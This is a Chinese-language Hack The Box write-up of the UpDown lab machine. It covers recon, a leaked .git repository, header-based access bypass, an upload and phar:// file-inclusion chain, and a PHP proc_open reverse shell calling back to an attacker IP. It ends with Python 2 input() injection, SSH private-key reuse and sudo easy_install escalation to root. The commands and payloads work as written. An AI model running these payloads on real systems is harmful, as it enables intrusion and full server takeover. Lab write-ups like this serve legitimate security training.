HTB UpDown 渗透测试详细记录
靶机介绍
名字 | UpDown |
---|---|
创建日期 | 03 Sep 2022 |
操作系统 | Linux |
难度 | Medium [30] |
1. 初始侦察阶段
nmap侦查端口开放情况
└─$ nmap -sT --min-rate 20000 -p- 10.10.11.177
Nmap scan report for siteisup.htb (10.10.11.177)
Host is up (0.13s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 63.95 seconds
2. 服务探测与信息收集
Web 服务 - TCP 80
访问80端口,网站 siteisup.htb
是一个简单的网站状态检查器。
站点功能与技术栈分析
- 功能:输入一个 URL,网站会检查其是否在线。开启调试模式后,会返回被检查 URL 的响应头和内容。
- 技术栈:通过请求
index.php
返回相同页面,可以推断网站后端使用 PHP 构建。HTTP 响应头显示服务器为Apache/2.4.41 (Ubuntu)
。
目录与子域名爆破
1.使用 feroxbuster 爆破目录,发现 /dev目录
└─$ feroxbuster -u http://siteisup.htb -x php
[>-------------------] - 30s 89/30000 3/s http://siteisup.htb/dev/
访问 http://siteisup.htb/dev/
是一个空白页,继续爆破
feroxbuster -u http://siteisup.htb/dev/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -t 70 -s 200,301,302,403
发现了 .git 目录
200 GET 0l 0w 0c http://siteisup.htb/dev/
301 GET 9l 28w 315c http://siteisup.htb/dev/.git => http://siteisup.htb/dev/.git/
200 GET 1l 2w 21c http://siteisup.htb/dev/.git/HEAD
200 GET 3l 17w 762c http://siteisup.htb/dev/.git/index
200 GET 1l 10w 73c http://siteisup.htb/dev/.git/description
200 GET 13l 35w 298c http://siteisup.htb/dev/.git/config
2.使用 wfuzz 进行子域名爆破,过滤掉与主站响应长度相同的默认响应(1131 字符),发现了子域名 dev
wfuzz -u http://10.10.11.177 -H "Host:FUZZ.siteisup.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 1131
000000019: 403 9 L 28 W 281 Ch "dev"
4.添加host
10.10.11.177 dev.siteisup.htb
但是访问 dev.siteisup.htb
返回403
5.使用 git -dumper 拉取泄漏的存储库
pipx install git-dumper
git-dumper http://siteisup.htb/dev/.git/ /home/kali/oscp/Updown/
└─$ ls -al
总计 40
drwxrwxr-x 3 kali kali 4096 8月17日 23:06 .
drwxrwxr-x 4 kali kali 4096 8月17日 23:05 ..
-rw-rw-r-- 1 kali kali 59 8月17日 23:06 admin.php
-rw-rw-r-- 1 kali kali 147 8月17日 23:06 changelog.txt
-rw-rw-r-- 1 kali kali 3145 8月17日 23:06 checker.php
drwxrwxr-x 7 kali kali 4096 8月17日 23:06 .git
-rw-rw-r-- 1 kali kali 117 8月17日 23:06 .htaccess
-rw-rw-r-- 1 kali kali 273 8月17日 23:06 index.php
-rw-rw-r-- 1 kali kali 5531 8月17日 23:06 stylesheet.css
查看.htaccess 文件,发现了 规则,
└─$ cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
这个.htaccess
文件实现了一个简单的、基于自定义请求头的访问控制。它是一个典型的白名单机制:默认全部拒绝 (Deny from All),然后为满足特定条件的请求包开一个口子 (Allow from env=...)。要通过验证,请求包必须携带特征 ——Special-Dev: only4dev。
3. 漏洞识别与初始访问
使用 Header Editor
这个浏览器扩展,修改请求头
成功打开了 http://dev.siteisup.htb/
这是一个上传点,很明显这就是之前下载下来的 checker.php,开始分析源码。
1.先分析 index.php
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
这段代码的功能是一个简单的页面加载器。它希望根据 URL 中 page
参数的值,来包含并显示不同的 PHP 页面。例如,当用户访问 ?page=about
时,它会尝试加载 about.php
。
核心检查代码 if($page && !preg_match("/bin|usr|home|var|etc/i",$page))
这是一个黑名单过滤,也就说,任何不在 这四个目录的文件都可以被加载,这是一个文件包含漏洞。
这里可以尝试零零截断读文件,但是失败了
2.再分析 cheaker.php
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
先是检查文件大小,不允许超过10kb,然后限制了一些黑名单,但是作用不大,因为我们有文件包含漏洞,可以无视后缀直接读取。
最后把文件写入到uploads/目录。
先创建一个 a.php
<?php phpinfo(); ?>
压缩一下
zip a.abc a.php
上传之后,可以在 http://dev.siteisup.htb/uploads/
目录找到刚刚上传的文件
再利用 phar:// 协议去反序列化这个文件,就可以造成代码执行
确定随机目录之后,拼接访问 http://dev.siteisup.htb/?page=phar://uploads/b1408eab8d8433ae2de6041469d84efa/a.abc/a
- /?page=...: 文件包含漏洞。
- phar://: 使用 PHAR 反序列化。
- uploads/b1408eab8d8433ae2de6041469d84efa: 这是文件上传后,服务器创建的那个随机目录。
- a.abc: 这是我上传的、包含恶意序列化对象的 PHAR 文件。
- /a: 这是 PHAR 归档内部的一个文件名。phar:// 协议要求指定归档内的具体文件路径,即使它不存在或不重要,语法上也需要有。
分析 phpinfo ,发现禁用了如下函数
disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,ld,mail,stream_socket_sendto,dl,stream_socket_client,fsockopen
直接把这个页面保存为phpinfo.php
使用以下脚本进行分析
仓库地址
https://github.com/muyuanlove/dfunc-bypasser
#!/usr/bin/env python3
import argparse
import requests
# --- 参数解析 ---
parser = argparse.ArgumentParser(description="A script to analyze phpinfo output for dangerous function configurations.")
parser.add_argument("--url", help="PHPinfo URL: eg. https://example.com/phpinfo.php")
parser.add_argument("--file", help="PHPinfo local file path: eg. dir/phpinfo")
args = parser.parse_args()
# --- 终端颜色定义 ---
class colors:
reset = '3[0m'
red = '3[31m'
green = '3[32m'
orange = '3[33m'
blue = '3[34m'
# --- 打印横幅 ---
print(f"""{colors.green}
,---,
.' .' `\\
,---.' \\
| | .`\\ |
: : | ' |
| ' ' ; :
' | ; . |
| | : | '
' : | / ;
| | '` ,/
; : .'
| ,.'
'---'
{colors.reset}
\t\t\t{colors.blue}authors: {colors.orange}__c3rb3ru5__{colors.blue}, {colors.orange}$_SpyD3r_${colors.reset}
""")
# --- 获取 phpinfo 内容 ---
phpinfo_content = ""
if args.url:
try:
response = requests.get(args.url, timeout=10)
response.raise_for_status() # 如果请求失败 (如 404, 500),则抛出异常
phpinfo_content = response.text
except requests.exceptions.RequestException as e:
print(f"{colors.red}[!] Error fetching URL: {e}{colors.reset}")
exit(1)
elif args.file:
try:
# 使用 'with' 语句确保文件被正确关闭
with open(args.file, 'r', encoding='utf-8', errors='ignore') as f:
phpinfo_content = f.read()
except FileNotFoundError:
print(f"{colors.red}[!] File not found: {args.file}{colors.reset}")
exit(1)
else:
parser.print_help()
exit(1)
# --- 分析 disable_functions ---
disabled_functions = []
try:
# 提取被禁用的函数列表
# strip() 用于移除可能存在的前后空格
raw_disabled_str = phpinfo_content.split('disable_functions</td>
<td class="v">')[1].split("</td>")[0]
if raw_disabled_str and raw_disabled_str.strip() != 'no value':
disabled_functions = [func.strip() for func in raw_disabled_str.split(',')]
except IndexError:
print(f"{colors.orange}[!] 'disable_functions' directive not found. Assuming it's empty.{colors.reset}")
# 如果找不到,就认为禁用列表为空
# --- 定义危险函数和模块 ---
dangerous_functions = [
'pcntl_alarm','pcntl_fork','pcntl_waitpid','pcntl_wait','pcntl_wifexited','pcntl_wifstopped',
'pcntl_wifsignaled','pcntl_wifcontinued','pcntl_wexitstatus','pcntl_wtermsig','pcntl_wstopsig',
'pcntl_signal','pcntl_signal_get_handler','pcntl_signal_dispatch','pcntl_get_last_error',
'pcntl_strerror','pcntl_sigprocmask','pcntl_sigwaitinfo','pcntl_sigtimedwait','pcntl_exec',
'pcntl_getpriority','pcntl_setpriority','pcntl_async_signals','error_log','system','exec',
'shell_exec','popen','proc_open','passthru','link','symlink','syslog','ld','mail'
]
modules = []
# 根据已加载的模块动态添加相关的危险函数
if "mbstring.ini" in phpinfo_content:
modules.append('mbstring')
dangerous_functions.append('mb_send_mail')
if "imap.ini" in phpinfo_content:
modules.append('imap')
dangerous_functions.extend(['imap_open', 'imap_mail'])
if "libvirt-php.ini" in phpinfo_content:
modules.append('libvert')
dangerous_functions.append('libvirt_connect')
if "gnupg.ini" in phpinfo_content:
modules.append('gnupg')
dangerous_functions.append('gnupg_init')
if "imagick.ini" in phpinfo_content:
modules.append('imagick')
# --- 找出未被禁用的危险函数 ---
exploitable_functions = []
for func in dangerous_functions:
if func not in disabled_functions:
exploitable_functions.append(func)
# --- 输出结果 ---
if not exploitable_functions:
print(f'\n{colors.green}[+] The disable_functions directive seems strong. No common dangerous functions are enabled.{colors.reset}')
else:
print(f'\n{colors.red}[!] The following potentially dangerous functions are NOT disabled:{colors.reset}')
print(','.join(exploitable_functions))
print(f'\n{colors.orange}Recommendation: Add these functions to your php.ini disable_functions directive.{colors.reset}')
if "imagick" in modules:
print(f'\n{colors.orange}[INFO] PHP-imagick module is present. It can be exploited using LD_PRELOAD method if other vulnerabilities exist.{colors.reset}\n')
if "PHP-FPM" in phpinfo_content:
print(f"{colors.orange}[INFO] If PHP-FPM is used, functions like stream_socket_sendto, stream_socket_client, and fsockopen can be used to exploit SSRF to FastCGI.{colors.reset}\n")
└─$ python3 phpinfo.py --file phpinfo.html
[!] The following potentially dangerous functions are NOT disabled:
proc_open
Recommendation: Add these functions to your php.ini disable_functions directive.
确认存在一个危险函数 proc_open
,尝试利用这个函数
参考 https://www.php.net/manual/en/function.proc-open.php
构造 恶意载荷
└─$ cat b.php
<?php
$descriptorspec = array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'a') // stderr
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.23/9999 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
?>
压缩为b.abc
zip b.abc b.php
建立监听
nc -lnvp 9999
确认http://dev.siteisup.htb/uploads/
目录的随机目录之后,构造URL并访问
http://dev.siteisup.htb/?page=phar://uploads/97128df9edbe99bdf9cbdb32787a9094/b.abc/b
getshell
listening on [any] 9999 ...
connect to [10.10.16.23] from (UNKNOWN) [10.10.11.177] 57956
bash: cannot set terminal process group (926): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev$
升级shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
4. 权限提升前的信息收集
在用户的目录发现一个可用于提权的脚本
www-data@updown:/home/developer/dev$ cat siteisup_test.py
cat siteisup_test.py
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
这个脚本使用了过时的输入函数 input。在 Python 2 中,input() 函数不会将用户的输入作为简单的字符串。相反,它会尝试将输入作为一段 Python 代码来执行,这是一个本地rce漏洞。
执行之后,输入提权代码
ww-data@updown:/home/developer/dev$ ./siteisup
./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('os').system('/bin/bash')
__import__('os').system('/bin/bash')
developer@updown:/home/developer/dev$
升级到developer 之后还是无法读取user.txt
developer@updown:/home/developer/dev$ whoami
whoami
developer
developer@updown:/home/developer/dev$ cd ..
cd ..
developer@updown:/home/developer$ ls
ls
dev user.txt
developer@updown:/home/developer$ cat user.txt
cat user.txt
cat: user.txt: Permission denied
developer@updown:/home/developer$ ls -al
ls -al
total 40
drwxr-xr-x 6 developer developer 4096 Aug 30 2022 .
drwxr-xr-x 3 root root 4096 Jun 22 2022 ..
lrwxrwxrwx 1 root root 9 Jul 27 2022 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 231 Jun 22 2022 .bash_logout
-rw-r--r-- 1 developer developer 3771 Feb 25 2020 .bashrc
drwx------ 2 developer developer 4096 Aug 30 2022 .cache
drwxrwxr-x 3 developer developer 4096 Aug 1 2022 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 2 developer developer 4096 Aug 2 2022 .ssh
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 dev
-rw-r----- 1 root developer 33 Aug 17 09:07 user.txt
这是因为标志所有者是 root,组所有者是“developer”,但我仍然在 www-data 组中,但是发现存在 .ssh目录,或许可以通过密钥登录
developer@updown:/home/developer$ cd .ssh
cd .ssh
developer@updown:/home/developer/.ssh$ ls
ls
authorized_keys id_rsa id_rsa.pub
developer@updown:/home/developer/.ssh$ cat id_rsa
把私钥保存到本地,设置权限为600,登录
chmod 600 id_rsa
ssh developer@siteisup.htb -i id_rsa
developer@updown:~$ whoami
developer
developer@updown:~$ cat user.txt
4de3c198b040bb2a37061af22751abd6
5. 权限提升
执行 sudo -l 查看可以执行哪些命令
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
我可以以sudo权限执行 /usr/local/bin/easy_install
提权方案参考 https://gtfobins.github.io/gtfobins/easy_install/
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
easy_install $TF
提权命令执行过程
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.OBBCKOqT0t
Writing /tmp/tmp.OBBCKOqT0t/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.OBBCKOqT0t/egg-dist-tmp-pblzYP
# whoami
root
# cat /root/root.txt
176784f0092478cceb70416a009dc84a
6.攻击链路图展示
初始侦察 (Nmap扫描/目录爆破/子域名爆破)
↓
Web服务分析 (.git目录泄漏/代码审计/自定义请求头伪造)
↓
Web服务漏洞利用(上传黑名单绕过+文件包含+PHAR 反序列化构造RCE利用链)
↓
phpinfo配置文件分析(利用proc_open函数构造恶意载荷)
↓
建立立足点,获取www-data权限 (建立监听/反弹shell)
↓
利用python2漏洞提权(input函数漏洞实现本地rce)
↓
ssh登录developer用户(利用ssh 私钥)
↓
提权至root(easy_install提权)
8.各阶段关键点总结
- 信息收集阶段:通过 Nmap 扫描识别服务,目录爆破、子域名爆破扩大攻击面
- 初始访问阶段:组合低危漏洞实现rce代码执行。
- 权限提升阶段:利用本地脚本漏洞、私钥登录、easy_install提权。
Comments NOTHING